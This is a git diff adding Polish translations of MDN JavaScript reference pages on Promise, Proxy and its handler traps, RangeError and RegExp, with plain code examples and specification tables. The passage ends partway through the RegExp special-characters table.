The fulfillment of the promise is simply logged, via a fulfill callback set using {{jsxref("Promise.prototype.then()","p1.then()")}}. A few logs show how the synchronous part of the method is decoupled from the asynchronous completion of the promise.

+ +
'use strict';
+var promiseCount = 0;
+
+function testPromise() {
+    let thisPromiseCount = ++promiseCount;
+
+    let log = document.getElementById('log');
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Started (<small>Sync code started</small>)<br/>');
+
+    // We make a new promise: we promise a numeric count of this promise, starting from 1 (after waiting 3s)
+    let p1 = new Promise(
+        // The resolver function is called with the ability to resolve or
+        // reject the promise
+       (resolve, reject) => {
+            log.insertAdjacentHTML('beforeend', thisPromiseCount +
+                ') Promise started (<small>Async code started</small>)<br/>');
+            // This is only an example to create asynchronism
+            window.setTimeout(
+                function() {
+                    // We fulfill the promise !
+                    resolve(thisPromiseCount);
+                }, Math.random() * 2000 + 1000);
+        }
+    );
+
+    // We define what to do when the promise is resolved with the then() call,
+    // and what to do when the promise is rejected with the catch() call
+    p1.then(
+        // Log the fulfillment value
+        function(val) {
+            log.insertAdjacentHTML('beforeend', val +
+                ') Promise fulfilled (<small>Async code terminated</small>)<br/>');
+        })
+    .catch(
+        // Log the rejection reason
+       (reason) => {
+            console.log('Handle rejected promise ('+reason+') here.');
+        });
+
+    log.insertAdjacentHTML('beforeend', thisPromiseCount +
+        ') Promise made (<small>Sync code terminated</small>)<br/>');
+}
+ + + +

This example is started by clicking the button. You need a browser that supports Promise. By clicking the button several times in a short amount of time, you'll even see the different promises being fulfilled one after another.

+ +

{{EmbedLiveSample("Advanced_Example", "500", "200")}}

+ +

Ładowanie obrazka z XHR

+ +

Another simple example using Promise and XMLHttpRequest to load an image is available at the MDN GitHub js-examples repository. You can also see it in action. Each step is commented and allows you to follow the Promise and XHR architecture closely.

+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}{{Spec2('ES2015')}}Initial definition in an ECMA standard.
{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}{{Spec2('ESDraft')}}
+ +

Zgodność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Promise")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/proxy/index.html b/files/pl/web/javascript/reference/global_objects/proxy/index.html new file mode 100644 index 0000000000..7dc7695f00 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/proxy/index.html @@ -0,0 +1,401 @@ +--- +title: Proxy +slug: Web/JavaScript/Referencje/Obiekty/Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy +--- +
+
{{JSRef}}
+
+ +

Obiekt Proxy jest używany w celu definiowania specyficznego zachowania dla podstawowych operacji (n.p. wyszukiwanie atrybutu, przypisanie, wyliczanie, wywołanie funkcji, etc).

+ +

Terminologia

+ +
+
handler
+
Zastępczy obiekt zawierający pułapki (traps).
+
traps
+
Metody zapewniające dostęp do atrybutów. Pojęcie to jest analogiczne do pułapek w systemie operacyjnym.
+
target
+
Obiekt wirtualizowany przez proxy. Często jest używany aby magazyować dane obiektu proxy. Niezmienniki (wartości które pozostają niezmienione) dotyczące nierozszerzalności obiektu lub niekonfigurowalnnych atrybutów są weryfikowane w oparciu o target.
+
+ +

Składnia

+ +
var p = new Proxy(target, handler);
+
+ +

Parametry

+ +
+
target
+
Docelowy obiekt (może być obiektem dowolnego typu, włącznie z wbudowanymi tablicami, funkcjami, a nawet innyi obiektami proxy) przeznaczony do opakowania przez Proxy.
+
handler
+
Obiekt obsługujący którego atrybuty są funkcjami definiującymi zachowanie proxy podczas wykonania na nim operacji.
+
+ +

Metody

+ +
+
{{jsxref("Proxy.revocable()")}}
+
Tworzy odwracalny obiekt Proxy.
+
+ +

Metody obiektu obsługującego

+ +

Obiekt obsługujący jest obiektem zastępczym zawierającym pułapki dla obieku Proxy.

+ +
{{page('/pl/docs/Web/JavaScript/Referencje/Obiekty/Proxy/handler', 'Metody') }}
+ +

Przykłady

+ +

Podstawowy przykład

+ +

W tym prostym przykładzie liczba 37 jest zwracana jako domyślna wartość kiedy nazwa atrybutu nie istnieje w obiekcie. W tym celu użyty jest handler get.

+ +
var handler = {
+    get: function(target, name) {
+        return name in target ?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+
+ +

Puste proxy przekazujące

+ +

W tym przykładzie używamy wbudowanego obiektu JavaScript do którego proxy przekaże wszystkie zaaplikowane na nim operacje.

+ +
var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // operacja przekazana do obiektu target
+
+console.log(target.a); // 37. Operacja została prawidłowo przekazana
+
+ +

Zwróć uwagę, że ten przykład działa dla obiektów JavaScript jednak nie sprawdzi się w przypadku obiektów przeglądarki takich jak elementy DOM. Sprawdź jedno rozwiązanie.

+ +

Walidacja

+ +

Używając Proxy, łatwo możesz zwalidować wartości przekazywane do obiektu. Poniższy przykład używa metody obsługującej set.

+ +
let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('The age is not an integer');
+      }
+      if (value > 200) {
+        throw new RangeError('The age seems invalid');
+      }
+    }
+
+    // domyślnym zachowaniem jest zapisanie wartości
+    obj[prop] = value;
+
+    // oznacza pomyślne wykonanie
+    return true;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // rzuca wyjątek
+person.age = 300; // rzuca wyjątek
+ +

Rozszerzanie konstruktora

+ +

Funkcja proxy może w łatwy sposób rozszerzyć konstruktor innym konstruktorem. W tym przykładzie użyto funkcje obsługujące construct oraz apply.

+ +
function extend(sup, base) {
+  var descriptor = Object.getOwnPropertyDescriptor(
+    base.prototype, 'constructor'
+  );
+  base.prototype = Object.create(sup.prototype);
+  var handler = {
+    construct: function(target, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(target, obj, args);
+      return obj;
+    },
+    apply: function(target, that, args) {
+      sup.apply(that, args);
+      base.apply(that, args);
+    }
+  };
+  var proxy = new Proxy(base, handler);
+  descriptor.value = proxy;
+  Object.defineProperty(base.prototype, 'constructor', descriptor);
+  return proxy;
+}
+
+var Person = function(name) {
+  this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+  this.age = age;
+});
+
+Boy.prototype.sex = 'M';
+
+var Peter = new Boy('Peter', 13);
+console.log(Peter.sex);  // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age);  // 13
+ +

Manipulacja węzłami DOM

+ +

Czasami konieczne jest przełączenie atrybutu lub nazwy klasy dwóch innych elementów. Poniższy przykład pokazuje wykonanie funkcją obsługującą set.

+ +
let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // The default behavior to store the value
+    obj[prop] = newval;
+
+    // Indicate success
+    return true;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+ +

Korekcja wartości i dodatkowych atrybutów

+ +

Obiekt proxy products wylicza przekazaną wartość i konwertuje to tablicy w razie potrzeby. Obiekt dodatkowo obsługuje dodatkowy atrybut latestBrowser zarówno jako getter i setter.

+ +
let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // The default behavior to return the value
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return true;
+    }
+
+    // Convert the value if it is not an array
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // The default behavior to store the value
+    obj[prop] = value;
+
+    // Indicate success
+    return true;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // przekazano string (przez pomyłkę)
+console.log(products.browsers); // ['Firefox'] <- nie ma problemu, wartość jest typu array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'
+ +

Wyszukiwanie elementu tablicy po jego właściwości

+ +

Poniższe proxy rozszerza tablicę o różne użyteczne funkcjonalności. Jak widać, można elastycznie "definiować" właściwości bez użycia Object.defineProperties. Ten przykład może być użyty aby znaleźć wiersz tabeli po jego komórce. W takim przypadku, celem będzie table.rows.

+ +
let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // domyślnym zachowaniem jest zwrócenie wartości; prop jest zwykle typu integer
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // zwróć liczbę produktów; alias dla products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // znajdź product po nazwie
+    if (result) {
+      return result;
+    }
+
+    // znajdź produkty po typie
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // zwróć typy produktów
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+
+ +

Pełna lista przykładów pułapek

+ +

W celu stworzenia pełnej listy przykładów pułapek, w celach dydaktycznych, spróbujemy zastosować proxy nanie natywnym obiekcie który się szczególnie nadaje do tego typu operacji: globalny obiekt docCookies stworzony przez "mały framework" opublikowany na stronie document.cookie.

+ +
/*
+  var docCookies = ... pobranie obiektu "docCookies" tutaj:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  get: function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  set: function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  deleteProperty: function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  enumerate: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  ownKeys: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  has: function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  defineProperty: function (oTarget, sKey, oDesc) {
+    if (oDesc && 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  getOwnPropertyDescriptor: function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      value: vValue,
+      writable: true,
+      enumerable: true,
+      configurable: false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = 'First value');
+console.log(docCookies.getItem('my_cookie1'));
+
+docCookies.setItem('my_cookie1', 'Changed value');
+console.log(docCookies.my_cookie1);
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ + + +

{{Compat("javascript.builtins.Proxy", 2)}}

+ +

Zobacz również

+ + + +

Licensing note

+ +

Some content (text, examples) in this page has been copied or adapted from the ECMAScript wiki which content is licensed CC 2.0 BY-NC-SA.

diff --git a/files/pl/web/javascript/reference/global_objects/proxy/proxy/apply/index.html b/files/pl/web/javascript/reference/global_objects/proxy/proxy/apply/index.html new file mode 100644 index 0000000000..4931dd2beb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/proxy/proxy/apply/index.html @@ -0,0 +1,117 @@ +--- +title: handler.apply() +slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler/apply +tags: + - ECMAScript 2015 + - JavaScript + - Metodă + - Proxy +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply +--- +
{{JSRef}}
+ +

Metoda handler.apply() jest pułapką na wywołanie funkcji.

+ +
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
+ + + +

Składnia

+ +
var p = new Proxy(target, {
+  apply: function(target, thisArg, argumentsList) {
+  }
+});
+
+ +

Parametry

+ +

Następujące parametry są przekazywane do metody apply. Wartością this jest handler.

+ +
+
target
+
Obiekt, na którym została wywołana metoda.
+
thisArg
+
Obiekt, który jest this w metodzie.
+
argumentsList
+
Lista argumentów, które zostały przekazane do metody.
+
+ +

Zwracana wartość

+ +

Metoda apply może zwrócić dowolną wartość.

+ +

Opis

+ +

Metoda handler.apply jest pułapką na wywołanie funkcji.

+ +

Przechwycenia

+ +

Ta pułapka może przechwycić poniższe operacje:

+ + + +

Niezmienniki

+ +

Jeśli poniższe zmiemienniki są naruszone, poxy rzuci wyjątek TypeError:

+ +

target musi być obiektem, który da się wywołać. To znaczy, że musi być obiektem funkcyjnym.

+ +

Przykłady

+ +

Poniższy kod przechwytuje wywołanie funkcji.

+ +
var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('called: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "called: 1, 2, 3"
+                         // 6
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność przeglądarek

+ +
+ + +

{{Compat("javascript.builtins.Proxy.handler.apply")}}

+
+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/proxy/proxy/index.html b/files/pl/web/javascript/reference/global_objects/proxy/proxy/index.html new file mode 100644 index 0000000000..7461add3d6 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/proxy/proxy/index.html @@ -0,0 +1,78 @@ +--- +title: Proxy handler +slug: Web/JavaScript/Referencje/Obiekty/Proxy/handler +translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy +translation_of_original: Web/JavaScript/Reference/Global_Objects/Proxy/handler +--- +
{{JSRef}}
+ +

Obiekt obsługujący proxy (proxy's handler object) jest obiektem zastępczym który zawiera pułapki dla obiektów {{jsxref("Proxy", "proxy", "", 1)}}.

+ +

Metody

+ +

Wszystkie pułapki są opcjonalne. Jeśli pułapka nie została zdefiniowana, domyślnym zachowaniem jest przekazanie operacji do obiektu docelowego.

+ +
+
{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}
+
Pułapka na {{jsxref("Object.getPrototypeOf")}}.
+
{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}
+
Pułapka na {{jsxref("Object.setPrototypeOf")}}.
+
{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}
+
Pułapka na {{jsxref("Object.isExtensible")}}.
+
{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}
+
Pułapka na {{jsxref("Object.preventExtensions")}}.
+
{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}
+
Pułapka na {{jsxref("Object.getOwnPropertyDescriptor")}}.
+
{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}
+
Pułapka na {{jsxref("Object.defineProperty")}}.
+
{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}
+
Pułapka na operator {{jsxref("Operators/in", "in")}}.
+
{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}
+
Pułapka na pobieranie wartości atrybutu.
+
{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}
+
Pułapka na ustawianie wartości atrybutu.
+
{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}
+
Pułapka na operator {{jsxref("Operators/delete", "delete")}}.
+
{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}
+
Pułapka na {{jsxref("Object.getOwnPropertyNames")}} i {{jsxref("Object.getOwnPropertySymbols")}}.
+
{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}
+
Pułapka na wywołanie funkcji.
+
{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}
+
Pułapka na operator {{jsxref("Operators/new", "new")}}.
+
+ +

Niektóre niestandardowe pułapki są przestarzałe i zostały usunięte.

+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}{{Spec2('ESDraft')}}Usunięto funkcję obsługującą enumerate.
+ +

Kompatybilność przeglądarek

+ + + +

{{Compat("javascript.builtins.Proxy.handler")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/rangeerror/index.html b/files/pl/web/javascript/reference/global_objects/rangeerror/index.html new file mode 100644 index 0000000000..13c2981e8d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/rangeerror/index.html @@ -0,0 +1,162 @@ +--- +title: RangeError +slug: Web/JavaScript/Referencje/Obiekty/RangeError +translation_of: Web/JavaScript/Reference/Global_Objects/RangeError +--- +
{{JSRef}}
+ +

Obiekt RangeError wskazuje na błąd, gdy wartość jest poza zakresem dozwolonych wartości.

+ +

Składnia

+ +
new RangeError([message[, fileName[, lineNumber]]])
+ +

Parametry

+ +
+
message
+
Opcjonalne. Czytelny opis błędu.
+
fileName {{non-standard_inline}}
+
Opcjonalne. Nazwa pliku zawierającego kod, któy wywołał wyjątek.
+
lineNumber {{non-standard_inline}}
+
Opcjonalne. Numer linii kodu, gdzie wywołany został wyjątek.
+
+ +

 

+ +

Opis

+ +

RangeError rzucany jest podczas próby przesłaniu numeru, jako argumentu do funkcji, która nie pozwala na zakresy zawierające ten numer. To może zdarzyć się podczas próby stworzenia listy (array) o niedozwolonej długości za pomocą konstruktora {{jsxref("Array")}}, lub podczas wywołania metod {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} lub {{jsxref("Number.toPrecision()")}} z przekazaną złą wartością.

+ +

 

+ +

Właściwości

+ +
+
{{jsxref("RangeError.prototype")}}
+
Pozwala na dodanie właściwości do obiektu RangeError.
+
+ +

Metody

+ +

RangeError nie posiada metod jako takich, ale dziedziczy pewne metody z łańcucha prototypów.

+ +

Instancje RangeError

+ +

Właściwości

+ +
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Właściwości')}}
+ +

Metody

+ +
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Metody')}}
+ +

Przykłady

+ +

Użycie RangeError

+ +
var check = function(num) {
+  if (num < MIN || num > MAX) {
+    throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX);
+  }
+};
+
+try {
+  check(500);
+}
+catch (e) {
+  if (e instanceof RangeError) {
+    // Handle range error
+  }
+}
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES3')}}{{Spec2('ES3')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}{{Spec2('ES6')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bazowe wsparcie{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/exec/index.html b/files/pl/web/javascript/reference/global_objects/regexp/exec/index.html new file mode 100644 index 0000000000..618ec13d69 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/exec/index.html @@ -0,0 +1,144 @@ +--- +title: RegExp.prototype.exec() +slug: Web/JavaScript/Referencje/Obiekty/RegExp/exec +tags: + - JavaScript + - Method + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec +--- +

{{ JSRef }}

+ +

Podsumowanie

+ +

Wykonuje operacje wyszukiwania danego łańcucha znaków. Wynikiem jest macierz.

+ +

Składnia

+ +
regexObj.exec(str)
+ +

 

+ +

Parametry

+ +
+
str 
+
Łańcuch znaków, do którego ma być porównane wyrażenie.
+
+ +

Opis

+ +

Jak wynika z opisu składni metoda exec może być wywołana w sposób bezpośredni (za pomocą regexp.exec(str)) lub pośredni (za pomocą regexp(str)).

+ +

Jeśli wynik będzie pozytywny metoda exec zwróci macierz oraz zaktualizuje własności obiektu. W przeciwnym wypadku zostanie zwrócone null.

+ +

Przejrzyj poniższy przykład:

+ +
//Znajdź pojedyncze "d" poprzedzone przez jedno lub więcej "b", po których następuje pojedyncze "d"
+//Zapamiętaj znalezione "b" oraz następujące "d"
+//Ignoruj wielkość liter
+var re=/d(b+)(d)/ig;
+var myArray = re.exec("cdbBdbsbz");
+
+ +

Poniższa tabela pokazuje rezultaty wygenerowane przez skrypt:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ObiektWłaściwość/IndeksOpisPrzykład
myArray Zawartość myArray.[ \"dbBd\", \"bB\", \"d\"') ]
indexIndeks wyszukania łańcucha znaków rozpoczynający się od 0.1
inputCiąg bazowy.cdbBdbsbz
[0]Ostatnie odnalezione znaki.dbBd
[1], ...[n ]Wyszukane podłańcuch w nawiasach. Liczba możliwych podłańcuch jest nieokreślona.[1] = bB
+ [2] = d
myRelastIndexIndeks, od którego rozpocząć nowe wyszukiwanie.5
ignoreCaseWskazuje czy flaga "i" została użyta.true
globalWskazuje czy flaga "g" została użyta do globalnego przeszukiwania.true
multilineWskazuje czy flaga "m" została użyta do globalnego przeszukiwania.false
sourceTekst wyszukiwanego łańcucha znaków.d(b+)(d)
+ +

Jeżeli twoje wyrażenie regularne korzysta z flagi "g", możesz wielokrotnie używać metody exec() aby porównać je z tym samym ciągiem znaków. W takim wypadku porównywanie rozpoczyna się od elementu zdefiniowanego jako lastIndex. Na przykład:

+ +
var myRe = /ab*/g;
+var str = 'abbcdefabh';
+var myArray;
+while ((myArray = myRe.exec(str)) !== null) {
+  var msg = 'Found ' + myArray[0] + '. ';
+  msg += 'Next match starts at ' + myRe.lastIndex;
+  console.log(msg);
+}
+ +

Skrypt ten wyświetli następujący tekst:

+ +
Found abb. Next match starts at 3
+Found ab. Next match starts at 9
+
+ +

Przykłady

+ +

Przykład: Zastosowanie exec()

+ +

You can also use exec() without creating a {{jsxref("RegExp")}} object:

+ +
var matches = /(hello \S+)/.exec('This is a hello world!');
+console.log(matches[1]);
+ +

This will display an alert containing 'hello world!'.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/global/index.html b/files/pl/web/javascript/reference/global_objects/regexp/global/index.html new file mode 100644 index 0000000000..e393cbeed0 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/global/index.html @@ -0,0 +1,35 @@ +--- +title: RexExp.prototype.global +slug: Web/JavaScript/Referencje/Obiekty/RegExp/global +tags: + - JavaScript + - Property + - Prototype + - RegExp +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global +--- +
{{JSRef("Global_Objects", "RegExp")}}
+ +

Podsumowanie

+ +

Określa czy z wyrażeniem regularnym została użyta flaga "g".

+ +
{{js_property_attributes(0, 0, 1)}}
+ +

Opis

+ +

global jest własnością pojedynczego obiektu wyrażenia regularnego.

+ +

Wartość global wynosi true, jeśli użyta została flaga "g"; w przeciwnym przypadku będzie to wartość false. Flaga "g" wskazuje, że wyrażenie regularne powinno zostać sprawdzone w stosunku do wszystkich możliwych wyników w łańcuchu znaków.

+ +

Tej własności nie można zmieniać bezpośrednio.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/ignorecase/index.html b/files/pl/web/javascript/reference/global_objects/regexp/ignorecase/index.html new file mode 100644 index 0000000000..f847bf1221 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/ignorecase/index.html @@ -0,0 +1,35 @@ +--- +title: RegExp.prototype.ignoreCase +slug: Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase +tags: + - JavaScript + - Property + - RegExp + - protype +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Określa czy z wyrażeniem regularnym została użyta flaga "i".

+ +
{{js_property_attributes(0, 0, 1)}}
+ +

Opis

+ +

ignoreCase jest własnością pojedynczego obiektu wyrażenia regularnego.

+ +

Wartość ignoreCase wynosi true, jeśli użyta została flaga "i"; w przeciwnym przypadku będzie to wartość false. Flaga "i" wskazuje, że wielkość znaków ma być ignorowana podczas dokonywania porównań w łańcuchu znaków.

+ +

Tej własności nie można zmieniać bezpośrednio.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/regexp/index.html b/files/pl/web/javascript/reference/global_objects/regexp/index.html new file mode 100644 index 0000000000..7fb605c26f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/regexp/index.html @@ -0,0 +1,383 @@ +--- +title: RegExp +slug: Web/JavaScript/Referencje/Obiekty/RegExp +tags: + - Constructor + - JavaScript + - RegExp + - Regular Expressions +translation_of: Web/JavaScript/Reference/Global_Objects/RegExp +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Obiekt wyrażeń regularnych (ang. regular expression) zawiera wzór regularnego wyrażenia. Posiada ono właściwości i metody, które umożliwiają znalezienie lub zmianę ciągu znaków w innym ciągu znaków.

+ +

W dodatku do właściwości pojedynczego obiektu wyrażenia regularnego, które tworzysz używając funkcji konstruktora RegExp, predefiniowany obiekt RegExp posiada własności statyczne, które są ustawione, kiedy jakiekolwiek wyrażenie regularne jest użyte.

+ +

Tworzony przez

+ +

Odpowiednik tekstowy lub funkcja-konstruktor RegExp.

+ +

Odpowiednik tekstowy jest używany jak poniżej:

+ +
/wzór/flagi
+
+ +

Konstruktor jest używany jak poniżej:

+ +
new RegExp("wzór"[, "flagi"])
+
+ +

Parametry

+ +
+
wzór
+
Tekst wyrażenia regularnego.
+
flagi
+
Jeśli podane, flagi mogą mieć jakąkolwiek kombinację poniższych wartości: g - wyszukiwanie globalne, i - ignoruje wielkość liter, m - wyszukiwanie w wielu liniach.
+
+ +

Zauważ, że parametry w formacie tekstowym nie używają cudzysłowu do oznaczenia ciągów znaków, kiedy parametry funkcji konstruktora używają cudzysłów. Tak, więc poniższe wyrażenia tworzą to samo wyrażenie regularne:

+ +
/ab+c/i;
+new RegExp("ab+c", "i");
+
+ +

Opis

+ +

Podczas użycia funkcji konstruktora, standardowe znaki ucieczki (string escape rule, poprzedzanie znaków specjalnych backslash'’ "\" kiedy użyte w ciągu znaków) są wymagane. Na przykład poniższe dwa przykłady są identyczne:

+ +
re = new RegExp("\\w+");
+re = /\w+/;
+
+ +

Znaki specjalne w wyrażeniach regularnych

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ZnakZnaczenie
\ +

